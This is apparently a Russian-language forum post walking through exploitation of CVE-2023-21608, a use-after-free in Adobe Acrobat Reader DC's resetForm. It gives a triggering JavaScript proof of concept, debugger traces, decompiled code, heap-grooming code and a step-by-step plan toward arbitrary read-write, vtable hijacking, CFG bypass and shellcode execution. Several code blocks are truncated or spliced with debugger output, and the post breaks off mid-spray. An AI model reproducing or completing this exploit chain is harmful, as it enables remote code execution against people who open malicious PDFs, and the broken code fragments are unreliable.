szybnev
16.03.2023, 23:01
В этой статье мы рассмотрим, как использовалась уязвимость
use-after-free
в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе проекта по фаззингу, направленной на популярные программы для чтения PDF. В итоге была успешно использована уязвимость для удаленного выполнения кода в Adobe Acrobat Reader.
Об уязвимости
Эта уязвимость позволяет удаленно выполнить произвольный код на уязвимых Adobe Acrobat Reader DC. Для использования этой уязвимости требуется взаимодействие с пользователем, т.е. цель должна посетить вредоносную страницу или открыть вредоносный файл.
Конкретный баг был найден в методе
resetForm
. Уязвимость возникает из-за отсутствия проверки существования объекта перед выполнением операций над ним.
CVE ID
CVE-2023-21608
Vendor
Adobe
Products
Acrobat 2020 - 20.005.30418 и более ранние
Acrobat Reader 2020 - 20.005.30418 и более ранние
Acrobat DC - 22.003.20282и более ранние
Acrobat Reader DC - 22.003.20282 и более ранние
Proof of Concept
Пример ниже содержит статическое текстовое поле с именем
testField
, встроенное в PDF-документ.
Код:
5 0 obj
>
Ниже приведена соответствующая часть JavaScript кода, которая вызывает ошибку.
JavaScript:
var
testField
=
this
.
getField
(
"testField"
)
;
testField
.
richText
=
true
;
testField
.
setAction
(
"Calculate"
,
"calculateCallback()"
)
;
try
{
this
.
resetForm
(
)
;
}
catch
(
e
)
{
}
try
{
this
.
resetForm
(
)
;
}
catch
(
e
)
{
}
// bug is triggered during this resetForm call
function
calculateCallback
(
)
{
event
.
__defineGetter__
(
"target"
,
getterFunc
)
;
event
.
richValue
=
this
;
}
function
getterFunc
(
)
{
try
{
Object
.
defineProperty
(
testField
,
"textFont"
,
{
value
:
this
}
)
;
}
catch
(
e
)
{
}
}
Crash State
Включите функцию page-heap для AcroRd32.exe и откройте файл crash.pdf с помощью программы Acrobat Adobe Reader DC.
Код:
eax=04f6a0f0 ebx=00000000 ecx=420fefd0 edx=44e1cff8 esi=6921ef50 edi=420fefd0
eip=6c556b99 esp=04f6a0d0 ebp=04f6a0fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6c556b99 8b07 mov eax,dword ptr [edi] ds:002b:420fefd0=????????
Примечание: Весь анализ и эксплуатация, описанные в этой заметке, выполнены на Adobe Acrobat Reader DC версии 2022.001.20085 x86.
Stack Trace
Код:
0:000> kb
# ChildEBP RetAddr Args to Child
00 04f6a0fc 6c552a50 00001742 408bcff0 00000000 AcroForm!CAgg::operator[](unsigned short)+0xe
01 04f6a118 6bdfd922 43a38fb8 527e4ff0 408bcff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x30
02 04f6a16c 6bdfd803 43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnum+0xc3
03 04f6a184 692fe993 43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnumWrapper+0x13
WARNING: Stack unwind information not available. Following frames may be wrong.
04 04f6a19c 6c55298c 43a38fb8 6c552a20 04f6a1c8 AcroRd32!DllCanUnloadNow+0xa6553
05 04f6a1e4 6c552c3f 420fefd0 43a38fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
06 04f6a20c 6c552a56 420fefd0 46ed4ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
07 04f6a228 6bdfd922 503d4fb8 45970ff0 46ed4ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
08 04f6a27c 6bdfd803 503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnum+0xc3
09 04f6a294 692fe993 503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnumWrapper+0x13
0a 04f6a2ac 6c55298c 503d4fb8 6c552a20 04f6a2d8 AcroRd32!DllCanUnloadNow+0xa6553
0b 04f6a2f4 6c552c3f 505fafd0 503d4fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
0c 04f6a31c 6c552a56 505fafd0 3d259ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
0d 04f6a338 6bdfd922 4e5dcfb8 4948eff0 3d259ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
0e 04f6a38c 6bdfd803 4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnum+0xc3
0f 04f6a3a4 692fe993 4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnumWrapper+0x13
10 04f6a3bc 6c55298c 4e5dcfb8 6c552a20 04f6a3e8 AcroRd32!DllCanUnloadNow+0xa6553
11 04f6a404 6c552c3f 04f6afa8 4e5dcfb8 00000000 AcroForm!ESValToCAgg_internal+0x447
12 04f6a42c 6c552aea 04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
13 04f6a46c 6c513b35 04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAggWrapper+0x1e
14 04f6a4c8 6bddf79b 48cf2fb8 45230ff0 47cf6ff0 AcroForm!SetRichValueEventProp+0x1f5
15 04f6a534 6bddf5bc 3cdaef58 04f6a68c 04f6a568 EScript!sub_1003F620+0x17b
16 04f6a56c 6bdba592 3cdaef58 04f6a68c 04f6a68c EScript!sub_1003F4E7+0xd5
17 04f6a5a4 6bdba2fe 3cdaef58 04f6a68c 04f6a68c EScript!sub_1001A4D2+0xc0
18 04f6a64c 6bdd8a6b 3cdaef58 04f6a68c 04f6a68c EScript!sub_10019E93+0x46b
19 04f6a690 6bdd4cd7 3cdaef58 04f6aac0 4fdc2fcf EScript!sub_100389D2+0x99
1a 04f6ab00 6bdd246b 3cd5da60 6bdd24c0 00000438 EScript!js_Interpret+0x2828
1b 04f6ab4c 6bdd237b 3cdaef58 04f6ab60 3cdaef58 EScript!sub_10032412+0x59
1c 04f6ab88 6bdd22b0 3cdaef58 04f6abfc 3d1a4100 EScript!sub_10032315+0x66
1d 04f6abbc 6bdbb6b0 3cdaef58 04f6abfc 3d1a4100 EScript!js_Execute+0x7d
1e 04f6ac0c 6bdfa9c6 3cdaef58 04f6ac8c 00000000 EScript!JS_EvaluateUCScriptForPrincipals+0x8b
1f 04f6ac90 6bdfa6cb 3cdaef58 3d1a4100 4c93efd8 EScript!JS_EvaluateUCScript+0x4d
20 04f6ae44 6bdfa046 3d4f9ff0 49488fe0 49f3cff0 EScript!ESExecScript+0x10b
21 04f6ae90 6bdf8e23 3cdacfc0 390b4fb8 49d20fc0 EScript!AESEvaluateScript+0x3d
22 04f6af30 692fcbdf 1f2c0bd0 390b4fb8 49cf4fc0 EScript!ESExecuteScriptWithEvent+0x4a3
23 04f6af58 6c543fd4 1f2c0bd0 00000000 49cf4fc0 AcroRd32!DllCanUnloadNow+0xa479f
24 04f6b03c 6c543270 1f2c0bd0 5135cfa0 00000000 AcroForm!AFCalculateNthFieldEntry_x+0x4b8
25 04f6b074 6c545f65 1f2c0bd0 00000000 00001467 AcroForm!AFPDCalculateFields__internal+0xfd
26 04f6b0b0 6c5c4c37 1f2c0bd0 00000000 1f2c0bd0 AcroForm!AFPDCalculateFields+0x9f
27 04f6b1b0 6c50fa1c 1f2c0bd0 00000000 00000000 AcroForm!ResetForm(_t_PDDoc *, OPAQUE_64_BITS, unsigned short)+0x477
28 04f6b65c 6bdf3fb7 390b4fb8 45fe4ff0 5225afb8 AcroForm!resetFormHandler+0x5fc
Быстрая проверка с помощью команды
!heap
показывает, что это уязвимость
use-after-free
.
Код:
0:000> !ext.heap -p -a @edi
address 420fefd0 found in
_DPH_HEAP_ROOT @ 7831000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
372134ac: 420fe000 2000
6e44ab02 verifier!AVrfDebugPageHeapFree+0x000000c2
770af766 ntdll!RtlDebugFreeHeap+0x0000003e
770668ae ntdll!RtlpFreeHeap+0x0004e0ce
770562ed ntdll!RtlpFreeHeapInternal+0x00000783
77018786 ntdll!RtlFreeHeap+0x00000046
755d3c9b ucrtbase!_free_base+0x0000001b
755d3c68 ucrtbase!free+0x00000018
6c2e7a56 AcroForm!operator delete(void *)+0x0000000b
6c555f05 AcroForm!sub_20AD5ECD+0x00000038
6c555e5f AcroForm!sub_20AD5E3B+0x00000024
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e1b AcroForm!sub_20AD5DE9+0x00000032
6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
6c5576c0 AcroForm!CAgg::convert(CAgg::CAggType)+0x00000045
6c556d10 AcroForm!sub_20AD6CDD+0x00000033
6c555efd AcroForm!sub_20AD5ECD+0x00000030
6c555e5f AcroForm!sub_20AD5E3B+0x00000024
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e1b AcroForm!sub_20AD5DE9+0x00000032
6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
6c55766d AcroForm!sub_20AD75F2+0x0000007b
6c551b9e AcroForm!CAggConvertToESValType(CAgg &)+0x0000001f
6c551be0 AcroForm!CAggToESVal(_s_ESValRec *, CAgg &)+0x0000003d
6c5131ce AcroForm!GetRichValueEventProp+0x0000011e
6bdde176 EScript!sub_1003DF10+0x00000266
6bde306d EScript!sub_10042FE8+0x00000085
6bdb50fd EScript!sub_10014B57+0x000005a6
6bdb4b4a EScript!sub_10014B17+0x00000033
6bdddcd2 EScript!sub_1003DC6A+0x00000068
На данном этапе, имея на руках вышепоказанный анализ, мы решили углубиться в анализ почему эта ошибка возникает и посмотреть, сможем ли мы получить RCE в процессе "песочницы" Adobe Reader.
Анализ причины появления бага
Несколько моментов, которые следует отметить в этом PoC:
Ошибка возникает во время второго вызова
resetForm
resetForm
вызывает события вычисления для всех полей, если определен дескриптор
Calculate
.
В дескрипторе
Calculate
свойство
target
объекта события переопределяется пользовательской функцией
getterFunc
.
Внутри этой функции
getterFunc
свойство textFont поля переопределяется значением объекта
doc
.
Это приводит к сбою, когда присваивание
event.richValue = this
выполняется в дескрипторе
Calculate
.
Сбой можно отследить по стеку вызовов до соответствующей иерархии вызовов.
Код:
AcroForm!ResetForm | this.resetForm()
AcroForm!AFPDCalculateFields
AcroForm!AFCalculateNthFieldEntry
AcroForm!AFCalculateNthFieldEntry
AcroForm!AFCalculateNthFieldEntry
|- user defined callback is triggered. | field Calculate handler invoked
AcroForm!SetRichValueEventProp | event.richValue = this
.. some form of aggregation starts on richValue ..
AcroForm!EScript_ESObjectEnum_CallbackProc
AcroForm!CAgg::operator[](unsigned short)
Ошибка возникает, когда внутри
SetRichValueEventProp
начинается некая форма объединения значений, которая осуществляет перебор назначенного объекта
this
, являющегося экземпляром текущего объекта
doc
. Свойства и методы
doc
перебираются рекурсивно с помощью
EScript!ESObjectEnum
, который принимает обратный вызов, где перечисляемые сведения о свойствах передаются из
EScript
в
AcroForm
. Обратный вызов
AcroForm!EScript_ESObjectEnum_CallbackProc
запускается для каждого из перебираемых свойств.
Когда
page-heap
включен, сбой происходит в
_DWORD *__thiscall
std::map::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3)
при разыменовании указателя, который является объектом
std::map
в текущем контексте.
C++:
DWORD
*
__thiscall std
::
map
::
lower_bound
(
TREE_VAL
*
this
,
_DWORD
*
a2
,
unsigned
__int16
*
a3
)
{
TREE_NODE
*
Myhead
;
// eax
TREE_NODE
*
Parent
;
// ecx
unsigned
__int16 v5
;
// si
int
v6
;
// eax
Myhead
=
this
->
_Myhead
;
// crash location - page-heaps enabled
Parent
=
this
->
_Myhead
->
_Parent
;
.
.
.
}
После проверки вызывающей функции выяснилось, что функция
int __thiscall std::map::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID)
отвечает за вставку значения в соответствующую
std::map
.
C++:
int
__thiscall std
::
map
::
operator
[
]
(
TREE_VAL
*
this
,
int
a2
,
unsigned
__int16
*
pSomeID
)
{
.
.
.
std
::
map
::
lower_bound
(
this
,
v8
,
pSomeID
)
;
// Crashing path when page-heap is enabled
v4
=
v9
;
if
(
sub_208E95F2
(
v9
,
pSomeID
)
)
{
.
.
.
}
else
{
if
(
this
->
_Mysize
==
0x38E38E3
)
Throw_tree_length_error
(
)
;
.
.
.
*
(
_DWORD
*
)
a2
=
std
::
map
::
insert
(
this
,
v8
[
0
]
,
(
int
)
v8
[
1
]
,
Parent
)
;
.
.
.
}
return
result
;
}
Приведенный выше код показывает, что при вставке значения в
std::map
создается новый аллокатор
CAgg
. Тестирование с помощью
heap grooming
и трюка
.dvalloc
показало, что функция
std::map::insert
также позволяет произвольную запись по выбранному адресу. Используя
heap grooming
, можно получить контроль над поврежденным указателем
std::map
, используемым в этом контексте, что дает возможность дальнейшей эксплуатации.
C++:
TREE_NODE
*
__thiscall std
::
map
::
insert
(
TREE_VAL
*
this
,
TREE_NODE
*
a2
,
int
a3
,
TREE_NODE
*
a4
)
{
++
this
->
_Mysize
;
// write possible here (single increment though)
// map length increase
Myhead
=
this
->
_Myhead
;
v5
=
a4
;
a4
->
_Parent
=
a2
;
if
(
a2
!=
Myhead
)
{
if
(
a3
)
{
a2
->
_Left
=
a4
;
// write is possible here and we can use this to corrupt length property of a ArrayBuffer
// mov dword ptr [eax], esi ds:002b:13fa0000=45454545
if
(
a2
==
Myhead
->
_Left
)
Myhead
->
_Left
=
a4
;
}
}
.
.
.
}
Используя произвольную запись, можно нарушить длину
ArrayBuffer
и получить возможность чтения-записи out-of-bounds. Это позволяет читать условные данные из или записывать в места памяти, выходящие за границы ArrayBuffer.
Дальнейшее расследование того, как была повреждена карта, показало, что функция AcroForm!CAgg:perator[](unsigned short) вызывала std::map:perator[] с this->map. При исследовании объекта CAgg в отладчике было обнаружено, что он был освобожден и теперь контролируется пользователем. Это открывало возможность для дальнейшей эксплуатации уязвимости.
C++:
// Crash function 2
int
__userpurge CAgg
::
operator
[
]
@
(
CAgg
*
this
@
,
bool
(
*
a2
)
[
27
]
@
,
wchar_t
*
someID
)
{
.
.
.
if
(
this
->
type
==
0x13
)
// *this == (CAgg::getType) | crashes here with page-heaps
// this is the freed pointer
{
.
.
.
}
else
{
.
.
.
else
{
// this path is taken when page-heap is disabled and heap grooming is performed prior to bug trigger
CAgg
::
convert
(
this
,
a2
,
0x14
)
;
v4
=
(
_DWORD
*
)
std
::
map
::
operator
[
]
(
this
->
map
,
(
int
)
v9
,
(
unsigned
__int16
*
)
&
someID
)
;
}
return
*
v4
+
24
;
}
}
Хотя на поврежденном объекте
CAgg
не было очевидных примитивов, можно было прочитать его тип с помощью
this->type
. Функция
CAgg::operator[]
была вызвана из
EScript_ESObjectEnum_CallbackProc
, которая запускается для каждого свойства, перечисляемого
EScript!ESEnumObject
. Это дало некоторое представление о том, как объект был поврежден и потенциально может быть использован.
C++:
int
__usercall EScript_ESObjectEnum_CallbackProc@
(
bool
(
*
ebx0
)
[
27
]
@
,
int
a2
,
wchar_t
*
key_str
,
wchar_t
*
a4
,
int
*
*
*
pCAggData
)
{
CAgg
*
*
pCagg
;
// edi
unsigned
__int16 someID
;
// ax
CAgg
*
v7
;
// eax
pCagg
=
(
CAgg
*
*
)
*
pCAggData
;
// AtomFromString retrieves some integer id from string
//
// bp AcroForm!sub_20AD2A20+0x22 "da poi(esp); gc"
//
someID
=
(
*
(
int
(
__cdecl
*
*
)
(
wchar_t
*
)
)
(
gCoreHFT
+
20
)
)
(
key_str
)
;
// gCoreHFT->ASAtomFromString(a2);
v7
=
(
CAgg
*
)
CAgg
::
operator
[
]
(
(
CAgg
*
)
pCagg
,
ebx0
,
(
wchar_t
*
)
someID
)
;
ESValToCAgg
(
v7
,
a4
,
0
)
;
return
1
;
}
В данном сценарии у нас возникла проблема с объектом
pCagg
. Этот объект уже был освобожден, но он все еще используется в функции обратного вызова
EScript_ESObjectEnum_CallbackProc
, где он передается в функцию
ESValToCAgg
.
Примечание: Эта функция является рекурсивной, поэтому проблема повторяется снова и снова.
Наш анализ показывает, что объекты
CAgg
выделяются внутри функции
std::map::operator[]
во время каждого перебора свойств при установке свойства
richValue
. Однако в процессе
resetForm
свойство
event.target
отлавливается с помощью
__defineGetter__
. Эта функция вызывается во время рекурсивного перебора свойств объекта
doc
. Когда происходит обращение к свойству
target
, вызывается функция
getterFunc
, которая переопределяет свойство
textFont
поля как объект
doc
. Это также устанавливает его
non-configurable
и
non-enumerable
.
Во время второго
resetForm
повторяется тот же процесс, но при повторном вызове
getterFunc
возникает исключение, поскольку свойство
field.textFont
теперь неконфигурируемо. Это вызывает другой путь при доступе к свойству
event.richValue
, который освобождает все объекты
CAgg
, которые были построены до сих пор. Путь освобождения кода вызывается, пока еще идет перечисление объектов, а когда оно завершается, запускается использование освобожденного объекта
CAgg
.
C++:
{
.
.
.
v7
=
0
;
v8
=
15
;
LOBYTE
(
v6
[
0
]
)
=
0
;
sub_2085ECA0
(
v6
,
"EventRichValueInProgress"
)
;
sub_20AAE7D6
(
v15
,
a1
,
(
int
)
v6
[
0
]
,
(
int
)
v6
[
1
]
,
(
int
)
v6
[
2
]
,
(
int
)
v6
[
3
]
,
v7
,
v8
)
;
LOBYTE
(
v16
)
=
3
;
if
(
v13
&&
(
*
(
unsigned
__int16
(
__thiscall
*
*
)
(
_DWORD
,
wchar_t
*
,
const
wchar_t
*
)
)
(
dword_21473CB8
+
180
)
)
(
*
(
_DWORD
*
)
(
dword_21473CB8
+
180
)
,
v13
,
"richValue"
)
)
{
PointerType
=
(
CAgg
*
)
ASCabGetPointerTypeSafe
(
v13
,
(
wchar_t
*
)
"richValue"
,
(
wchar_t
*
)
"CAgg_P"
)
;
if
(
PointerType
)
CAggToESVal
(
0
,
v11
,
PointerType
)
;
// frees all CAggs and maps
}
.
.
.
}
Вышеизложенную гипотезу можно проверить с помощью отладчика, установив следующие брейкпоинты в WinDbg.
Код:
bp AcroForm!resetFormHandler
bp AcroForm!EScript_ESObjectEnum_CallbackProc ".printf \"-- [^] property: %ma - \\n \", poi(esp+8); gc;"
bp AcroForm!uninit_sub_20AA701F+0x25 ".printf \" - alloc: %p \\n \", @eax; .echo; gc"
bp AcroForm!GetRichValueEventProp+0x119 ".printf \" ------------free code path \\n \"; gc"
bp AcroForm!sub_20AD5DE9 ".printf \"[map] root: %p size %p \\n \", poi(@ecx), poi(@ecx+4); gc;"
bp AcroForm!sub_20AD5DE9+0x36 ".printf \" [+] PTR_1 freed: %p \\n \", poi(@esi); gc"
bp AcroForm!sub_20AD6CDD+0x3c ".printf \" [+] PTR_2 freed: %p \\n \", @esi; gc"
bp AcroForm!sub_20AD5ECD+0x33 ".printf \" [+] block freed: %p \\n \", @esi; gc"
bp AcroForm!ESValToCAgg_internal+0x403 ".printf \" [+] pData: %p \\n \", @ecx; gc"
Ниже приведен результат вывода трассировки из указанных брейкпоинтов.
Код:
[+] pData: 00afb1e8
-- [^] property: ADBCAnnotEnumerator -
- alloc: 64b3cfb8
... all other properties ....
-- [^] property: textFont -
- alloc: d41d0fb8 dc d41d0fb8
d41d0fb8 00000000 00000000 00000000 00000000 ................
d41d0fc8 00000000 00000000 abcdbbba 07971000 ................
d41d0fd8 00000010 00001000 00000000 00000000 ................
d41d0fe8 09009a6c dcbabbba 00000000 ffffff82 l...............
d41d0ff8 3b5fafc0 c0c0c001 c0c0c0c0 c0c0c0c0 .._;............
d41d1008 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
d41d1018 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
d41d1028 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
В отладчике мы видим поврежденный объект
std::map
pData: d41d0fd0
, который является частью освобожденного объекта
CAgg
, выделенного во время перечисления свойства
textFont
alloc: d41d0fb8
Когда реализуется путь свободного кода, все объекты и объекты карты освобождаются. Позже к этому же указателю обращаются при обработке перечисления свойств
richValue
, что приводит к возникновению условия
use-after-free
.
Примечание: Во время тестирования для контроля условия use-after-free мы не нашли путей кода, которые позволили бы нам перераспределить освобожденную память таким образом, чтобы это можно было использовать.
Однако мы обнаружили, что определенные размеры объектов могут привести к сбою Adobe Acrobat Reader при разыменовании распыленного шаблона, что дает нам возможность использовать ошибку для удаленного выполнения кода (RCE).
Heap Grooming
C++:
var blockRefs
=
[
]
;
function
groomLFH
(
size
,
count
)
{
log
(
"[+] Grooming LFH blocks of size: "
+
size
+
" count: "
+
count
)
;
const
code
=
"%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u 4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u41 41%u4242%u5353%u5454%u5555%u5656%u5757%u5858%u5959 %u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u 6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a 6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272 %u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u 7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u83 83%u8484"
;
const
string
=
unescape
(
code
)
;
for
(
var i
=
0
;
i
!ext.heap -p -a 36f76fb8
address 36f76fb8 found in
_DPH_HEAP_ROOT @ 9801000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
36f51924: 36f76fb8 48 - 36f76000 2000
6fb1a8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
76fbef0e ntdll!RtlDebugAllocateHeap+0x00000039
76f26150 ntdll!RtlpAllocateHeap+0x000000f0
76f257fe ntdll!RtlpAllocateHeapInternal+0x000003ee
76f253fe ntdll!RtlAllocateHeap+0x0000003e
75d00166 ucrtbase!_malloc_base+0x00000026
6aaaee40 AcroForm!operator new(unsigned int)+0x0000001a
6acf7044 AcroForm!sub_20AA701F+0x00000025
6ad25a56 AcroForm!sub_20AD5A43+0x00000013
6ad25fba AcroForm!std::map::operator[](unsigned short const&)+0x00000057
6ad26bc5 AcroForm!CAgg::operator[](unsigned short)+0x0000003a
6ad22a50 AcroForm!EScript_ESObjectEnum_CallbackProc+0x00000 030
...
6ace3b35 AcroForm!SetRichValueEventProp+0x000001f5
...
При дальнейшем изучении того, что вызывало контролируемый сбой в качестве heap-grooming до срабатывания ошибки, мы заметили, что массив распыленных строковых объектов также используется во время агрегации, когда выполняется
resetForm
. Внутри
CAggToESVal
, когда тип объекта - строка, срабатывает следующий код, который создает новую строку из
CAgg
.
C++:
int
__usercall CAggToESVal@
(
bool
(
*
a1
)
[
27
]
@
,
wchar_t
*
a2
,
CAgg
*
a3
)
{
.
.
.
else
{
m_str
=
(
_EStrRec
*
*
)
CAgg
::
toEStr
(
a3
,
a1
)
;
if
(
*
m_str
)
v14
=
EStrCopyImpl
(
*
m_str
)
;
else
v14
=
0
;
if
(
EStrGetEncoding
(
(
MayBeString
*
)
v14
)
)
EStrSetEncoding
(
v14
,
2
)
;
v15
=
dword_21472158
;
Bytes
=
EStrGetBytes
(
(
MayBeString
*
)
v14
)
;
result
=
(
*
(
(
int
(
__cdecl
*
*
)
(
wchar_t
*
,
int
)
)
v15
+
31
)
)
(
a2
,
Bytes
)
;
// ESValSetString
if
(
v14
)
return
EStrDelete
(
v14
)
;
}
}
Важной деталью, которую следует отметить, является вызов EScript!ESValSetString для создания нового содержимого строки из строкового объекта CAgg (которые являются нашими распыленными строковыми объектами). ESValSetString вызывает sub_1003EBD2 для создания строки с заданным содержимым, который далее отвечает за выделение буфера кучи длиной в строку и копирование в него содержимого исходной строки.
Код:
char **__usercall sub_1003EBD2@(__int128 a1@, int a2, wchar_t *a3)
{
...
sub_1003E853((int *)a2);
if ( a3
&& strlen_0(a3, 0x7FFFFFFFu, 0) > 1
&& (*(_BYTE *)a3 == 0xFE && *((_BYTE *)a3 + 1) == 0xFF || *(_BYTE *)a3 == 0xFF && *((_BYTE *)a3 + 1) == 0xFE) )
{
v24 = 0;
v22 = 0x7FFFFFFF;
_mm_lfence();
v3 = miStrlen(a3, v22, v24);
v4 = JS_malloc_Wrapper(*(_DWORD *)a2, v3); // reallocate freed buffer again when string length is 0x48
Block = (char *)v4;
if ( v4 )
{
v25 = v3;
v23 = (char *)v4;
v21 = (char *)(a3 + 1);
_mm_lfence();
swab(v21, v23, v25);
return JS_NewUCString(a1, *(_DWORD **)a2, Block, v3 / 2 - 1);
}
return 0;
}
...
}
В приведенном выше коде
JS_malloc_Wrapper
перераспределяет освобожденный буфер
CAgg
при обработке большого количества строк, позволяя нам перераспределить буфер с данными, управляемыми пользователем. Когда этот распыленный буфер позже используется в функциях
CAgg::*
, это приводит к сбою при разыменовании данных, управляемых пользователем.
Внутренние компоненты SpiderMonkey в EScript.API
Spidermonkey в Firefox - это JavaScript-движок, используемый в Adobe Reader через плагин EScript.API для обработки JavaScript, встроенного в PDF-файлы. Чтобы эффективно использовать эту ошибку, нам необходимо понять, как объекты JavaScript реализованы в Spidermonkey и как организована их память.
Double хранятся в полном 64-битном значении IEEE-754.
Другие jsval, такие как числа, строки, объекты и т.д. используют 32-бит для маркировки типа и 32-бит для хранения фактического значения (или указателя на объект).
ArrayBuffer
Мы будем использовать
ArrayBuffer
для распыления управляемых пользователем данных по предсказуемым адресам и искажения длины произвольно большим целым значением для получения out-of-bounds read-write примитивов. Давайте посмотрим, как он представлен в памяти.
Реализация ArrayBuffer имеет 0x10 байт заголовок + содержимое, равному указанному размеру.
Код:
4ef0cbf0 00000000 00000400 3cc31450 00000000 ........P..buffer | this+0x28
_mm_lfence();
if ( Src )
memcpy(this[3], Src, Size);
else
memset(this[3], 0, Size);
v7 = this[3];
}
else
{
v10 = 0;
_mm_lfence();
v5 = sub_1013153C((wchar_t *)a2, Size, Src, (_DWORD *)v10);
if ( !v5 )
return 0;
v7 = v5 + 4;
this[3] = v7;
}
*((_DWORD *)v7 - 4) = 0;
*((_DWORD *)v7 - 3) = Size; // length of the ArrayBuffer
*((_DWORD *)v7 - 1) = 0; // typed array pointer initialized to nullptr
*((_DWORD *)v7 - 2) = 0;
return 1;
}
Массив
Код:
var a = new Array();
a[0] = 0x41424142
a[1] = 0x55555555;
a[2] = "javascript";
a[3] = {};
Мы будем использовать
Array
для достижения примитива
addrOf
(адрес). Ниже приведено представление массива JavaScript в памяти.
Код:
0d9a2678 00000000 00000004 00000006 00000004 ................ 0x0: flag, 0x4: initLength, 0x8: capacity, 0xc: length
0d9a2688 41424142 ffffff81 55555555 ffffff81 BABA....UUUU.... (value, tag) for each value
0d9a2698 0d735fe0 ffffff85 0d9bf200 ffffff87 ._s.............
0d9a26a8 00000000 00000000 00000000 00000000 ................
0d9a26b8 00000000 00000000 00000000 00000000 ................
0d9a26c8 00000000 00000000 00000000 00000000 ................
0d9a26d8 00000000 00000000 00000000 00000000 ................
0d9a26e8 00000000 00000000 00000000 00000000 ................
sub_1004DBA9 в EScript.api отвечает за создание массивов и может отслеживаться при распылении массивов.
Содержимое массива организовано в памяти в виде кортежа (тег, значение), где тег используется для идентификации типа, связанного со значением.
Например:
Код:
Number - ffffff81
String - ffffff85
Object - ffffff87
Когда у нас есть
out-of-bounds
к
ArrayBuffer
, мы можем распылить большой массив JavaScript сразу после
ArrayBuffer
и использовать
out-of-bounds
примитив для чтения адреса любого произвольного объекта JavaScript.
Мы можем увидеть, как наша строка представлена в памяти, сделав дамп памяти указателя выше.
Код:
0:016> dc 0d735fe0
0d735fe0 000000a8 0d735fe8 0061006a 00610076 ....._s.j.a.v.a. 0x0: length, 0x4: ptr to content, 0x8: inlined contents
0d735ff0 00630073 00690072 00740070 00000000 s.c.r.i.p.t.....
0d736000 0bf80fb0 0d734000 0fff1000 00000013 .....@s.........
0d736010 00000228 0c1451f8 00000000 00000000 (....Q..........
0d736020 000000d8 0c0b8638 00000000 00000000 ....8...........
0d736030 000000d8 0c0b8660 00000000 00000000 ....`...........
0d736040 000001e8 0c149bb0 00000000 00000000 ................
0d736050 000000f8 0c0b8890 00000000 00000000 ................
Далее, в процессе эксплуатации, мы будем создавать поддельные строки с помощью
ArrayBuffer
и использовать одну из распыленных поддельных строк для чтения произвольного содержимого памяти, добиваясь временного примитива произвольного чтения.
Эксплуатация
Использовали
.dvalloc
, чтобы проверить, есть ли у нас контролируемые сбои при чтении-записи или сбои при вызове произвольного указателя виртуальной функции. Мы обнаружили сбой, который приводит к произвольной записи на нашем контролируемом адресе.
*(*ecx) = some_32_value
, где
ecx
- указатель, управляемый пользователем.
Стратегия
Распылите ArrayBuffer, чтобы получить распределение по предсказуемому адресу, например 0x20000048
Grom LFH с нашим заданным шаблоном для повреждения ArrayBuffer по предсказуемому адресу
Спровоцировать уязвимость, чтобы использовать освобожденный буфер и повредить длину ArrayBuffer
Используйте поврежденный ArrayBuffer для создания поддельной строки, чтобы достичь произвольного примитива чтения
Используйте произвольное чтение из поддельной строки для создания поддельного DataView для достижения произвольных примитивов чтения-записи
Повредить виртуальную таблицу поля, чтобы перехватить управление выполнением
Обход CFG
Выполнение шеллкода
Восстановление поврежденных объектов и чистое восстановление
Spraying ArrayBuffer
Код:
var SPRAY = [];
for(var i=0; i s -d 0 L?0xffffffff 0x41424344
0x4ef0cc00 41424344 45464748 00000000 00000000 DCBAHGFE........
0:015> !ext.heap -p -a 0x4ef0cc00
address 4ef0cc00 found in
_DPH_HEAP_ROOT @ 9521000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
4eed11a0: 4ef0cbf0 410 - 4ef0c000 2000
6ddea8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
